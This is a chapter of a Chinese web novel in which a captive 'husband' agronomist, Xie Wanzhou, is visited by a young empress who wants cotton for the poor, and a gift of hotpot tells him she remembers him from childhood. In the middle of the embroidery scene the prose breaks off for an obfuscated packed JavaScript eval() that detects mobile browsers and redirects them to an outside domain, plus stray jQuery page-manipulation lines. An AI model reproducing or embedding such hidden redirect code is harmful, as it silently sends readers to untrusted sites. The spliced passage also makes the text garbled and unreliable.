京城，司农寺京畿所。


    高墙深院，隔绝了市井的喧嚣，只余下墨香与冰冷权力交织的沉寂。雕梁画栋下，身着各色官服的女子步履匆匆，低声交谈间皆是农桑国策、粮棉赋税，字字千钧。


    谢晚舟被安置在一处名为“清漪轩”的独立小院。


    院名雅致，环境清幽，有厢房、书房，庭院中甚至种着几竿翠竹。比起李家坳的简朴小屋，这里堪称精致，却更像一张无形的金丝网，将他牢牢困住。


    他知道自己的一举一动都被人监视。


    院外有司农所派来的健妇“侍从”，实为看守；院内洒扫的小厮，眼神也总带着窥探。


    送来的饭菜精致却冰冷，如同这里的空气。


    他名义上是“特聘农师”，协助改良棉种，可除了最初赵元朗拿来几份语焉不详的卷宗让他“参详”，再无实质安排。


    他被隔绝了。


    赵元朗偶尔会来，带着审视的目光，问题看似寻常，却暗藏机锋。


    “谢郎君在李家坳时，陈娘子于契地晶气流转，可有何心得？”


    “契地棉株异于常种，生长期短，絮朵厚实，除却地力，选种催芽之法，当真无甚特别？”


    “陈娘子性情如何？可还通晓些…别样学问？”


    谢晚舟每一次都应对得小心翼翼。


    他牢记他对陈谷雨最后的叮嘱——要活下去！


    他也记得自己离去时那声嘶力竭的呼喊——等我！


    这既是对她的叮嘱，亦是自己的承诺，是支撑他在这樊笼中坚持下去的信念。


    他就是一个略通农事、心思单纯的乡野夫郎。


    问及契地核心，便推说“全赖地母娘娘恩赐”；问及植棉细节，只重复那套温水浸种、草木灰拌种的“普通”农法；问及陈谷雨，便垂眼做出恭顺羞涩状，只说“娘子勤勉持家，心善仁厚”。


    他的回答滴水不漏，神情温顺。


    赵元朗锐利的目光在他脸上逡巡，却每每无功而返。


    谢晚舟能感觉到她眼底那一丝焦躁与怀疑。


    新春将近，新皇忽至。


    京城的冬夜，寒冷，风声呜咽。


    清漪轩内燃着银霜炭，却驱不散谢晚舟心底的冰寒。


    院外传来刻意压低的脚步声与甲胄轻响，看守健妇恭敬低语：“参见……”院门被无声推开，一道颀长身影裹着玄色狐裘，踏月而入。仅有两名气息沉凝的女卫守在门口。


    狐裘兜帽掀开，露出一张年轻俊美的脸庞。眉飞入鬓，凤眸深邃，鼻梁高挺，唇线薄而锋利。虽只着玄色云锦常服，衣襟袖口却绣着隐晦凤纹，灯下流转着至尊华光。正是当朝新帝——凤玄！


    谢晚舟心头剧震，慌忙拜伏：“草民谢晚舟，叩见陛下！”


    “平身。”声音清越，带着不容置疑的威严。


    谢晚舟起身垂立，眼观鼻，鼻观心。


    那目光落在他脸上，如同实质，仿佛要穿透皮囊，直视灵魂。


    凤玄缓步走到书案前。案上摊着卷宗，散着几张谢晚舟记下思绪的素笺。她的指尖拂过纸面，目光扫过清隽工整的字迹。最终，落在案角一小块契地新棉样品上，雪白柔软，泛着珍珠光泽。


    她捻起一小簇棉絮，指尖细腻地感受着那份异乎寻常的柔软与温暖，良久，才轻声开口，那声音里竟罕见地褪去了一丝帝王威仪，添了几分难以言喻的沉重：


    “去岁寒冬，朕巡幸京郊，曾于破败茅檐下，见一老翁……与其孙儿蜷缩于草席之上。”


    她顿了顿，目光似乎穿透了眼前的棉絮，看到了别处，“祖孙二人，仅靠一件千疮百孔的旧袄相互依偎。朕触其手，冰冷如铁。那孩童唇色发紫，却对朕笑，说‘阿爷说，熬过这场雪，开了春，就不冷了’。”


    她的指尖微微收紧，将那团温暖的白棉攥在手心。


    “他们没能熬过那场雪。”


    凤玄抬起眼，目光如炬，直直看向谢晚舟，那里面翻滚着一种近乎偏执的灼热：“谢晚舟，你告诉我，在这煌煌大周，盛世之下，究竟还有多少这样的茅檐？多少这样的祖孙？朕不要听‘天下富足’的虚言，朕要的是——无人再因饥寒而毙命！朕要这棉絮，不再是贵胄专享，而要铺满每一个大周子民的床榻，要温暖最贫寒农户的冬夜！”


    她的声音并不高昂，却字字千钧，仿佛蕴含着改天换地的力量与决心。


    砸在谢晚舟的心上。


    那一刻，纵是出身谢氏见惯风云，谢晚舟亦觉胸中气血翻涌，一股热意直冲眼眶。


    谢晚舟心头猛跳，几乎是本能地、极快地抬眼看了一下，随即迅速垂下。


    那年轻帝王的侧脸在灯下半明半暗，凤眸深处仿佛燃烧着幽暗的火焰。


    四目相对！


    凤玄眼底掠过一丝极微弱的波动。


    谢晚舟却如遭雷击！这双眼睛……为何隐隐透着一丝似曾相识的轮廓？尘封的幼年碎片骤然翻涌——京城煊赫府邸的后花园，花团锦簇中，那个眼神倔强孤僻、总爱躲在假山后看蚂蚁搬家的小女孩？！


    他瞬间垂眼，将所有惊涛骇浪死死压住。


    后背惊出冷汗。皇家秘辛，岂是他能窥探？


    为民立命，乃圣王之志！


    若帝王真心如此，那便是万民之福，他即便困于此地，亦觉其所困有所值——


    然而，这澎湃的心潮仅持续了一瞬。


    世家名门刻入骨子里的警惕与自幼耳闻目睹的权谋算计，还有他本不该有的悲惨命运，让他几乎立刻在那份感动上浇了一盆冷水。陛下这番话，是真切的悲悯，还是……说给他听的？是为了打动他，让他心甘情愿献出并不存在的契地之秘？


    天心难测，帝王的承诺与温情，往往是最锋利的刀刃。


    他迅速垂眸，将所有翻腾的情绪死死压住，背上却泛起一层细密的冷汗。


    天威之下，一念之差，便是万劫不复。


    凤玄似乎并未察觉他瞬间的心绪摆动，又或许尽收眼底却不动声色。


    她将棉絮放回原处，语气恢复了之前的平淡，却带着一种不容置疑的意味：“司农寺将你请来，便是要借你之能，助朕实现此愿。这棉絮，便是希望的火种。望你…好自为之，莫负朕望。让天下人不受冻。”


    “让天下人不受冻”，这短短七字，此刻听来，重若千钧，却又迷雾重重。


    它既是皇权的意志，亦是无形的枷锁。


    他深深低头，掩去眼中所有的复杂与惊惧，只余下一片恭顺的沉寂：


    “草民…谨记陛下教诲。”声音干涩。


    凤玄深深地看了他一眼，那目光仿佛要将他彻底看穿。


    最终，她没再说什么，转身，玄色的狐裘在清冷的空气中划过一个利落的弧度，悄然消失在夜色里。


    院门合拢，死寂一片。


    唯闻银霜炭轻微的噼啪声。


    谢晚舟维持躬身姿势，久久未动。额角冷汗，缓缓滑落。


    新皇的驾临，那真挚又莫测的言辞，那宏大却沉重的誓言，还有…似曾相识的眼眸…如同数道惊雷，在他紧绷的心弦上炸响。


    这位帝王。


    究竟是心怀苍生的明主，还是……心思深沉的权谋家？


    这心愿，究竟是福祉，还是更深漩涡的开端？


    良久，谢晚舟直身，挥退小厮。孤灯如豆。


    他走到书案边，拿起了针线——这是唯一被允许保留的、属于“夫郎本分”的消遣。


    指尖捻线，针尖在灯下微芒闪烁。


    不需图样，心念所至，针线便如有了生命，在素绢上游走。


    绣的是李家坳契地边缘，寒风中挺立、缀满棉桃的棉株。


    绣的是小院灶房外，总蹭他衣角、被念安最


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401604|182614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    新收养，喂得圆滚滚的花狸猫。


    绣的是陈谷雨凝神观察地晶时，专注沉静的侧影。


    绣的是小念安举着狗尾巴草，亮着眼睛跑来的模样——


    一针一线，皆是乡愁。


    一线一针，俱是相思——


    绣到动情处，一滴泪无声滑落，滴在素绢上，恰晕染在“陈谷雨”心口。


    指尖一颤，忙用袖口小心吸去痕渍。


    “谷雨…”他对着绢上影像，无声呼唤，喉头哽咽，“念安…”


    “要活下去。”


    “等我。”


    轩内重归死寂，唯有炭盆偶尔迸出几点星火。


    谢晚舟兀自沉浸在素娟的绣活中，思绪纷乱如麻。


    不知过了多久，门外传来轻叩，竟是先前那沉默寡言的健妇去而复返。她手中端着一具红泥小火炉，炉上坐着一口小巧精致的铜锅，锅内清汤微滚，热气腾腾，旁边托盘里码放着几样鲜嫩的肉片与时蔬。


    与往日那些精致却冰冷的食盒截然不同。


    健妇将小火锅置于桌上，依旧一言不发，躬身退了出去。


    谢晚舟怔在原地，目光落在那一锅氤氲的热气上，白雾袅袅升起，模糊了眼前冰冷的桌案与卷宗。


    冷食……火锅……


    电光火石间，那个被新帝威仪与宏大誓言暂时压下的模糊记忆，如同被这热气骤然熏开、变得清晰无比——


    不是后花园的假山，不是搬家的蚂蚁。


    是谢家煊赫府邸最偏僻寒冷的角落，一个同样寒冷的冬日。


    他被嬷嬷拘着学规矩，闷得发慌，偷偷溜到边上废弃的小院，撞见那个总是独自一人、眼神孤僻锐利得不像个小女孩的“姐姐”。她穿着单薄的旧衣，冻得嘴唇发白，却倔强地不肯回屋。


    他看她可怜，又怕她，更怕被大人发现他乱跑。


    鬼使神差地，他跑回自己暖和的小厨房，央求最疼他的老厨娘，偷偷备了一个小小的红泥炉，一碟肉，几片菜，用力提着食盒找了过去。


    他记得自己当时手忙脚乱地给她蘸了一片肉，声音发颤，却还强装镇定：“你、你别怕冷…这个小炉留给你，我阿娘说，吃了热的，就不冷了……我们一起吃，好不好？”


    那女孩先是警惕地看着他，像只被侵犯领地的小兽。但或许是他被冻得通红的手也在抖，或许是小锅里冒出的热气太过诱人，她最终迟疑地接过了他递去的、烤得有点焦的肉片……


    那是他几乎遗忘的，深埋于世家公子规整童年下的，一次微不足道的、越轨的善意。


    谢晚舟猛地抬手，指尖触及那滚烫的铜锅壁，灼痛感令他瞬间缩回手，却也彻底惊醒了他。


    这不是普通的关怀。


    这是提醒。是暗示。


    是新帝凤玄在最直接又最隐晦的方式告诉他：朕记得你。记得那年的废弃小院，记得那顿偷偷摸摸、却暖入肺腑的小火锅。


    朕，认出了你。


    方才那番关乎天下苍生的宏大誓言所带来的震动尚未平息，此刻又添上这极具私人意味的敲打。谢晚舟只觉得一股寒意从脊椎骨缝里钻出来，瞬间窜遍四肢百骸，比这冬夜更刺骨。


    陛下的目光，不仅看到了契地的价值，更穿透了他谢晚舟精心伪装的皮囊，直指他谢氏子的出身与那微不足道的过去。


    恩威并施。


    温热的食物是“恩”，是告诉他，她记得那份暖意；而此刻他身处的囚笼般的困境，便是“威”。


    谢晚舟缓缓坐在桌前，望着那锅依旧滚沸的汤，再无半分食欲。


    他只感到一种更深沉的、无所遁形的恐惧。


    这位年轻帝王的心术与掌控力，远比他想象的更为深沉莫测。


    他置身于这看似温暖的清漪轩，却仿佛赤身裸体立于冰原之上，四周尽是望不见的深渊。


    ------